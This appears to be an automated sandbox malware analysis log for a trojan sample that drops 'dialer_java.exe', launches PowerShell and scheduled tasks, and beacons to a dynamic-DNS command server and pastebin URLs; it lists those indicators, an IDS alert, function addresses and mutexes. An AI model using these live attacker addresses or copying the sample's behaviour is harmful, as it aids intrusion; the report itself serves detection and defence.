Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140038E50 strncpy,MultiByteToWideChar,MultiByteToWideChar,calloc,MultiByteToWideChar,FindFirstFileW,free,malloc,FindClose,27_2_0000000140038E50

Software Vulnerabilities

barindex
Exploit detected, runtime environment starts unknown processes
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

barindex
Uses dynamic DNS services
Source: unknownDNS query: name: blockchainlegion.duckdns.org
Source: global trafficHTTP traffic detected: POST /api/point.php HTTP/1.1Connection: Keep-AliveContent-Type: application/jsonContent-Length: 270Host: blockchainlegion.duckdns.org
Source: Joe Sandbox ViewIP Address: 173.244.207.29 173.244.207.29
Source: Joe Sandbox ViewASN Name: FREE-MPEIRU FREE-MPEIRU
Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 173.244.207.29:443
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: polygon-rpc.com
Source: global trafficDNS traffic detected: DNS query: blockchainlegion.duckdns.org
Source: unknownHTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveUser-Agent: WinHTTP Example/1.0Content-Length: 136Host: polygon-rpc.com
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547471787.000002B3539F8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org/
Source: dialer_java.exe, 0000000F.00000003.1919052720.00000172AC920000.00000004.00000001.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org/api/point.phhttps://pastebin.com/raw/0UNPcCFkpolygon-rpc.com0x75
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353AA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org/api/point.php
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353AA9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org/api/point.php4Y
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353AEB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org/api/point.php9
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org/l
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org/ll
Source: conhost.exe, 0000001B.00000002.3547471787.000002B353A61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blockchainlegion.duckdns.org:80/api/point.php
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: dialer_java.exe.0.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://ocsp.digicert.com0
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://ocsp.digicert.com0A
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://ocsp.digicert.com0C
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://ocsp.digicert.com0X
Source: sE5IdDeTp2.exe, dialer_java.exe.0.drString found in binary or memory: http://www.digicert.com/CPS0
Source: dialer_java.exe, 0000000F.00000003.1919052720.00000172AC920000.00000004.00000001.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547136321.0000000140095000.00000002.00000001.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/0UNPcCFk
Source: conhost.exe, 0000001B.00000002.3547859630.000002B353C05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pastebin.com/raw/0UNPcCFt
Source: conhost.exe, 0000001B.00000003.1929171941.000002B353A30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://polygon-rpc.com/
Source: conhost.exe, 0000001B.00000003.1932871231.000002B353A52000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000002.3547471787.000002B353A4B000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1932967988.000002B353A57000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1931997463.000002B353A52000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1930710101.000002B353A51000.00000004.00000020.00020000.00000000.sdmp, conhost.exe, 0000001B.00000003.1928785863.000002B353A51000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://polygon-rpc.com:443/
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownHTTPS traffic detected: 173.244.207.29:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400344C0 BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,free,free,calloc,memcpy,BCryptOpenAlgorithmProvider,BCryptGetProperty,malloc,malloc,BCryptImportKey,free,malloc,malloc,BCryptGetProperty,BCryptGetProperty,malloc,27_2_00000001400344C0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140034A20 BCryptDestroyKey,BCryptCloseAlgorithmProvider,free,free,free,calloc,memcpy,BCryptOpenAlgorithmProvider,BCryptSetProperty,BCryptGetProperty,malloc,malloc,BCryptImportKey,free,malloc,malloc,BCryptGetProperty,BCryptGetProperty,malloc,27_2_0000000140034A20
Source: schtasks.exeProcess created: 42
Source: conhost.exeProcess created: 42
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7796F1394 NtAccessCheckAndAuditAlarm,0_2_00007FF7796F1394
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DC1394 NtQueryInformationThread,15_2_00007FF695DC1394
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140001394 NtPrePrepareEnlistment,27_2_0000000140001394
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F711394 NtAllocateUserPhysicalPagesEx,34_2_00007FF79F711394
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21D1394 NtAccessCheck,48_2_00007FF7F21D1394
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC21394 NtDeleteFile,63_2_00007FF7CFC21394
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA01394 NtDeleteWnfStateData,77_2_00007FF79AA01394
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF779851394 NtLockProductActivationKeys,91_2_00007FF779851394
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400394B0: MultiByteToWideChar,MultiByteToWideChar,calloc,MultiByteToWideChar,CreateFile2,DeviceIoControl,CloseHandle,free,malloc,memcpy,WideCharToMultiByte,WideCharToMultiByte,calloc,WideCharToMultiByte,strncpy,free,free,free,27_2_00000001400394B0
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF779700A700_2_00007FF779700A70
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7796F92BB0_2_00007FF7796F92BB
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7797001600_2_00007FF779700160
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7796FA4800_2_00007FF7796FA480
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7797044400_2_00007FF779704440
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7796FAD100_2_00007FF7796FAD10
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7796F1B400_2_00007FF7796F1B40
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF779713B800_2_00007FF779713B80
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7797076E00_2_00007FF7797076E0
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF7797065200_2_00007FF779706520
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: 0_2_00007FF77970D0F00_2_00007FF77970D0F0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DE3B8015_2_00007FF695DE3B80
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DD76E015_2_00007FF695DD76E0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DDD0F015_2_00007FF695DDD0F0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DC92BB15_2_00007FF695DC92BB
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DD0A7015_2_00007FF695DD0A70
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DD016015_2_00007FF695DD0160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DD652015_2_00007FF695DD6520
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DCAD1015_2_00007FF695DCAD10
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DCA48015_2_00007FF695DCA480
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DD444015_2_00007FF695DD4440
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 15_2_00007FF695DC1B4015_2_00007FF695DC1B40
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400938C027_2_00000001400938C0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400938E027_2_00000001400938E0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006405B27_2_000000014006405B
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001207127_2_0000000140012071
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014007108027_2_0000000140071080
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400700B027_2_00000001400700B0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006E0F027_2_000000014006E0F0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000D0FC27_2_000000014000D0FC
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014003D17027_2_000000014003D170
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400471A027_2_00000001400471A0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001A23027_2_000000014001A230
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400102DE27_2_00000001400102DE
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014004E34027_2_000000014004E340
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000E34B27_2_000000014000E34B
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000C39C27_2_000000014000C39C
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014007240027_2_0000000140072400
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000A43027_2_000000014000A430
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001144E27_2_000000014001144E
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400334C027_2_00000001400334C0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014005E51027_2_000000014005E510
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400485E027_2_00000001400485E0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006F63027_2_000000014006F630
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000B63C27_2_000000014000B63C
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014003265027_2_0000000140032650
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001C65027_2_000000014001C650
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001269127_2_0000000140012691
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000D70B27_2_000000014000D70B
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014004373027_2_0000000140043730
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000F73E27_2_000000014000F73E
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014007076027_2_0000000140070760
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006B7F027_2_000000014006B7F0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014002E83027_2_000000014002E830
Source: C:\Windows\System32\conhost.exeCode function: 27_2_00000001400108AE27_2_00000001400108AE
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014003D8C227_2_000000014003D8C2
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006191027_2_0000000140061910
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001C91827_2_000000014001C918
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001894027_2_0000000140018940
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014005A9C027_2_000000014005A9C0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140072A2027_2_0000000140072A20
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140072A2227_2_0000000140072A22
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140062A5027_2_0000000140062A50
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000CA4C27_2_000000014000CA4C
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140021A6027_2_0000000140021A60
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140011A6127_2_0000000140011A61
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006CB2027_2_000000014006CB20
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140030B4027_2_0000000140030B40
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014007BB5027_2_000000014007BB50
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001EBB027_2_000000014001EBB0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014003DBE027_2_000000014003DBE0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140072C0027_2_0000000140072C00
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014001CC1227_2_000000014001CC12
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140041CA027_2_0000000140041CA0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000BCEC27_2_000000014000BCEC
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140051D1027_2_0000000140051D10
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000FD0E27_2_000000014000FD0E
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000DD2B27_2_000000014000DD2B
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140006D3027_2_0000000140006D30
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000ED3027_2_000000014000ED30
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140047D5027_2_0000000140047D50
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140071D7027_2_0000000140071D70
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140068D8027_2_0000000140068D80
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006ED8027_2_000000014006ED80
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140008DB027_2_0000000140008DB0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140053DF027_2_0000000140053DF0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140010E7E27_2_0000000140010E7E
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014006AEA027_2_000000014006AEA0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140019EC027_2_0000000140019EC0
Source: C:\Windows\System32\conhost.exeCode function: 27_2_000000014000AF8C27_2_000000014000AF8C
Source: C:\Windows\System32\conhost.exeCode function: 27_2_0000000140054FB027_2_0000000140054FB0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F733B8034_2_00007FF79F733B80
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F72D0F034_2_00007FF79F72D0F0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F7276E034_2_00007FF79F7276E0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F72652034_2_00007FF79F726520
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F71AD1034_2_00007FF79F71AD10
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F72444034_2_00007FF79F724440
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F71A48034_2_00007FF79F71A480
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F711B4034_2_00007FF79F711B40
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F7192BB34_2_00007FF79F7192BB
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F720A7034_2_00007FF79F720A70
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 34_2_00007FF79F72016034_2_00007FF79F720160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21F3B8048_2_00007FF7F21F3B80
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21D1B4048_2_00007FF7F21D1B40
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21E444048_2_00007FF7F21E4440
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21DA48048_2_00007FF7F21DA480
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21DAD1048_2_00007FF7F21DAD10
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21E016048_2_00007FF7F21E0160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21E0A7048_2_00007FF7F21E0A70
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21D92BB48_2_00007FF7F21D92BB
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21ED0F048_2_00007FF7F21ED0F0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21E652048_2_00007FF7F21E6520
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 48_2_00007FF7F21E76E048_2_00007FF7F21E76E0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC43B8063_2_00007FF7CFC43B80
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC3D0F063_2_00007FF7CFC3D0F0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC376E063_2_00007FF7CFC376E0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC3652063_2_00007FF7CFC36520
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC2AD1063_2_00007FF7CFC2AD10
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC2A48063_2_00007FF7CFC2A480
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC3444063_2_00007FF7CFC34440
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC21B4063_2_00007FF7CFC21B40
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC292BB63_2_00007FF7CFC292BB
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC30A7063_2_00007FF7CFC30A70
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 63_2_00007FF7CFC3016063_2_00007FF7CFC30160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA23B8077_2_00007FF79AA23B80
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA01B4077_2_00007FF79AA01B40
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA0AD1077_2_00007FF79AA0AD10
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA1444077_2_00007FF79AA14440
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA0A48077_2_00007FF79AA0A480
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA1016077_2_00007FF79AA10160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA092BB77_2_00007FF79AA092BB
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA10A7077_2_00007FF79AA10A70
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA1D0F077_2_00007FF79AA1D0F0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA1652077_2_00007FF79AA16520
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 77_2_00007FF79AA176E077_2_00007FF79AA176E0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF779873B8091_2_00007FF779873B80
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF7798592BB91_2_00007FF7798592BB
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF779860A7091_2_00007FF779860A70
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF77986016091_2_00007FF779860160
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF77985AD1091_2_00007FF77985AD10
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF77986444091_2_00007FF779864440
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF77985A48091_2_00007FF77985A480
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF779851B4091_2_00007FF779851B40
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF7798676E091_2_00007FF7798676E0
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF77986652091_2_00007FF779866520
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: 91_2_00007FF77986D0F091_2_00007FF77986D0F0
Source: C:\Windows\System32\conhost.exeCode function: String function: 000000014000E9F0 appears 42 times
Source: C:\Users\user\Desktop\sE5IdDeTp2.exeCode function: String function: 00007FF7796F1394 appears 31 times
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: String function: 00007FF79AA01394 appears 31 times
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: String function: 00007FF779851394 appears 31 times
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: String function: 00007FF79F711394 appears 31 times
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: String function: 00007FF7CFC21394 appears 31 times
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: String function: 00007FF695DC1394 appears 31 times
Source: C:\ProgramData\dialer_JavaApps\jre1.8.0_341\bin\dialer_java.exeCode function: String function: 00007FF7F21D1394 appears 31 times
Source: sE5IdDeTp2.exeStatic PE information: invalid certificate
Source: classification engineClassification label: mal96.troj.expl.evad.winEXE@157/56@4/2
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3128:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8104:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7976:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5568:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7924:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3964:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4348:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7688:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7840:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7224:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3180:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5960:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7536:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7824:120:WilError_03
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6564:120:WilError_03
